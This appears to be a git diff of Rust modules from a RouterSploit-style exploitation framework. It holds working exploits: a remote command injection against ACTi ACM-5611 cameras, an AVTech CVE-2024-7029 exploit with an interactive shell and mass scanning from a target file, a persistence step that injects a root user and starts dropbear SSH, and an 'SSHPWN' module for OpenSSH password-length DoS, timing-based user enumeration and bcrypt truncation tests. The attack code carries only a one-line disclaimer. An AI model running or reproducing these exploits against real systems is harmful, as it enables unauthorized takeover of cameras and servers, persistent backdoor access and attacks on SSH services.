println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
print!("Enter username to inject: ");
|
||||
print!("{}", "Enter username to inject: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut user = String::new();
|
||||
io::stdin().read_line(&mut user)?;
|
||||
let user = user.trim();
|
||||
|
||||
print!("Enter password (will be hashed): ");
|
||||
if user.is_empty() {
|
||||
println!("{}", "[-] Username cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Username cannot be empty"));
|
||||
}
|
||||
|
||||
print!("{}", "Enter password (will be hashed): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut pass = String::new();
|
||||
io::stdin().read_line(&mut pass)?;
|
||||
let pass = pass.trim();
|
||||
|
||||
if pass.is_empty() {
|
||||
println!("{}", "[-] Password cannot be empty".red());
|
||||
return Err(anyhow::anyhow!("Password cannot be empty"));
|
||||
}
|
||||
|
||||
// Hash it!
|
||||
let hash = generate_md5_hash(pass);
|
||||
println!("[*] Generated MD5 hash: {}", hash);
|
||||
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
|
||||
println!();
|
||||
|
||||
// Run each step
|
||||
generate_ssh_key(&client, target).await?;
|
||||
inject_root_user(&client, target, user, &hash).await?;
|
||||
start_dropbear(&client, target).await?;
|
||||
|
||||
println!("\n[+] Done. Try connecting with:");
|
||||
println!();
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
|
||||
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
|
||||
pass, user, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,41 +1,72 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// // Reference:
|
||||
/// // - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// // Exploit authors:
|
||||
/// // - Todor Donev <todor.donev@gmail.com>
|
||||
/// // - GH0st3rs (RouterSploit module)
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 8080; // // Default port
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("[+] Target seems vulnerable: {}:{}", target, port);
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// // Simulated shell command execution
|
||||
let cmd = "id"; // // You can change this to any test command
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd_input = String::new();
|
||||
io::stdin().read_line(&mut cmd_input)?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("[+] Executed '{}':\n{}", cmd, output);
|
||||
|
||||
// // You can extend this to implement full shell injection
|
||||
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let res = client
|
||||
@@ -54,22 +85,25 @@ async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the target is running the vulnerable service
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// // Check /cgi-bin/test
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
// // Check root page contains 'Web Configurator'
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,22 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
@@ -23,8 +35,9 @@ fn normalize_url(ip: &str, port: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// // Check if the device is vulnerable to CVE-2024-7029
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
@@ -35,22 +48,27 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// // Interactive shell to send arbitrary commands
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = BufReader::new(stdin).lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("cve7029-shell> ");
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
@@ -71,44 +89,57 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// // Prompt user for a custom port number
|
||||
/// Prompt user for a custom port number
|
||||
fn prompt_port() -> Result<String> {
|
||||
print!("Enter port to use [default: 80]: ");
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port = String::new();
|
||||
io::stdin().read_line(&mut port)?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// // Entry point required for RouterSploit-inspired dispatch system
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port()?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// // Handle either single IP or file of targets
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("[+] {} is vulnerable!", url);
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("[-] {} is not vulnerable", url);
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,12 +1,29 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_exploit against target: {}", target);
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Sample Exploit Module - Demonstration ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}/vulnerable_endpoint", target);
|
||||
let resp = reqwest::get(&url)
|
||||
println!("{}", format!("[*] Checking: {}", url).cyan());
|
||||
|
||||
let resp = client
|
||||
.get(&url)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send request")?
|
||||
.text()
|
||||
@@ -14,9 +31,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.context("Failed to read response")?;
|
||||
|
||||
if resp.contains("Vulnerable!") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
println!("{}", "[+] Target is vulnerable!".green().bold());
|
||||
} else {
|
||||
println!("[-] Target does not appear to be vulnerable.");
|
||||
println!("{}", "[-] Target does not appear to be vulnerable.".red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1 +1,6 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
pub mod sshpwn_sftp_attacks;
|
||||
pub mod sshpwn_scp_attacks;
|
||||
pub mod sshpwn_session;
|
||||
pub mod sshpwn_auth_passwd;
|
||||
pub mod sshpwn_pam;
|
||||
|
||||
@@ -0,0 +1,565 @@
|
||||
//! SSHPWN Auth Password Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
|
||||
//!
|
||||
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
|
||||
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
|
||||
//! - Password change information disclosure - server fingerprinting (INFO)
|
||||
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
|
||||
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
|
||||
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
|
||||
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if let Err(e) = sess.handshake() {
|
||||
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let auth_result = sess.userauth_password(username, password);
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
|
||||
match auth_result {
|
||||
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
|
||||
Err(e) => Some((elapsed, false, format!("{}", e))),
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Length DoS Test
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
|
||||
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
|
||||
pub async fn attack_password_length_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
|
||||
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer passwords
|
||||
let test_lengths = vec![
|
||||
64, // Normal
|
||||
72, // bcrypt limit
|
||||
128, // Double bcrypt
|
||||
256, // Moderate
|
||||
512, // Large
|
||||
1024, // Very large
|
||||
2048, // Huge
|
||||
4096, // Extreme
|
||||
8192, // Maximum test
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing password lengths:".cyan());
|
||||
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
|
||||
println!();
|
||||
|
||||
let mut abnormal_behavior = Vec::new();
|
||||
let mut baseline_time: Option<f64> = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate password of specified length
|
||||
let password: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, &password, 30) {
|
||||
Some((time, _success, msg)) => {
|
||||
// Set baseline from first test
|
||||
if baseline_time.is_none() {
|
||||
baseline_time = Some(time);
|
||||
}
|
||||
|
||||
let base = baseline_time.unwrap_or(time);
|
||||
let ratio = if base > 0.0 { time / base } else { 1.0 };
|
||||
|
||||
if time > 10.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else if ratio > 2.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
|
||||
|
||||
if !abnormal_behavior.is_empty() {
|
||||
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
|
||||
for (len, time, msg) in &abnormal_behavior {
|
||||
println!(" {} bytes: {:.2}s - {}", len, time, msg);
|
||||
}
|
||||
println!();
|
||||
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
|
||||
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No significant timing variations detected".green());
|
||||
println!("{}", "[*] Server handles long passwords gracefully".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Change Information Leak Test
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
|
||||
/// This reveals server configuration and confirms authentication reached password handler
|
||||
pub async fn attack_password_change_leak(
|
||||
host: &str,
|
||||
port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[*] Testing SSH password change behavior...".cyan());
|
||||
|
||||
// Note: SSH2 password change is signaled by a flag in the packet
|
||||
// We can't easily test this with libssh2, but we can document the vulnerability
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
|
||||
println!();
|
||||
println!("{}", "[*] Vulnerability Details:".yellow());
|
||||
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
|
||||
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
|
||||
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
|
||||
println!("{}", " 3. Reveals server's password change configuration".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] Attack Vectors:".cyan());
|
||||
println!("{}", " - Server fingerprinting via response timing".dimmed());
|
||||
println!("{}", " - Configuration enumeration".dimmed());
|
||||
println!("{}", " - Confirm valid authentication path reached".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".yellow());
|
||||
println!("{}", " Use SSH client with password change support".dimmed());
|
||||
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
|
||||
println!();
|
||||
println!("{}", "[INFO] This is an informational vulnerability".yellow());
|
||||
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
|
||||
/// Different timing for valid vs invalid users enables enumeration
|
||||
pub async fn attack_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
|
||||
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
|
||||
println!();
|
||||
|
||||
// Get baseline timing with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
|
||||
baseline_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
let baseline_stddev = (baseline_times.iter()
|
||||
.map(|t| (t - baseline).powi(2))
|
||||
.sum::<f64>() / baseline_times.len() as f64).sqrt();
|
||||
|
||||
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
|
||||
println!();
|
||||
|
||||
// Test empty password timing (potential gap per vulnerability #3)
|
||||
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
|
||||
if diff.abs() > baseline_stddev * 2.0 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] Possible timing attack via empty password".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_test_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
|
||||
times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\r ");
|
||||
println!();
|
||||
println!("{}", "=== Auth Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users detected via timing".yellow());
|
||||
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
|
||||
} else {
|
||||
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// Bcrypt 72-byte Limit Bypass Test
|
||||
///
|
||||
/// Vulnerability: bcrypt only uses first 72 bytes of password
|
||||
/// Passwords longer than 72 bytes are effectively truncated
|
||||
pub async fn attack_bcrypt_truncation(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
base_password: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
|
||||
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
|
||||
println!();
|
||||
|
||||
// bcrypt only uses first 72 bytes
|
||||
let truncation_point = 72;
|
||||
|
||||
// If base password is shorter than 72, pad it
|
||||
let test_base: String = if base_password.len() < truncation_point {
|
||||
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
|
||||
} else {
|
||||
base_password.chars().take(truncation_point).collect()
|
||||
};
|
||||
|
||||
// Create variants that differ only after 72 bytes
|
||||
let password_72 = test_base.clone();
|
||||
let password_73 = format!("{}X", test_base);
|
||||
let password_100 = format!("{}{}", test_base, "X".repeat(28));
|
||||
|
||||
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
|
||||
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
|
||||
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
|
||||
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
|
||||
println!();
|
||||
|
||||
// Test each password
|
||||
let passwords = vec![
|
||||
("72-byte", &password_72),
|
||||
("73-byte", &password_73),
|
||||
("100-byte", &password_100),
|
||||
];
|
||||
|
||||
let mut results = Vec::new();
|
||||
|
||||
for (name, password) in &passwords {
|
||||
print!("[*] Testing {} password... ", name);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, password, 15) {
|
||||
Some((time, success, msg)) => {
|
||||
results.push((name.to_string(), time, success, msg.clone()));
|
||||
if success {
|
||||
println!("{}", "SUCCESS".green().bold());
|
||||
} else {
|
||||
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
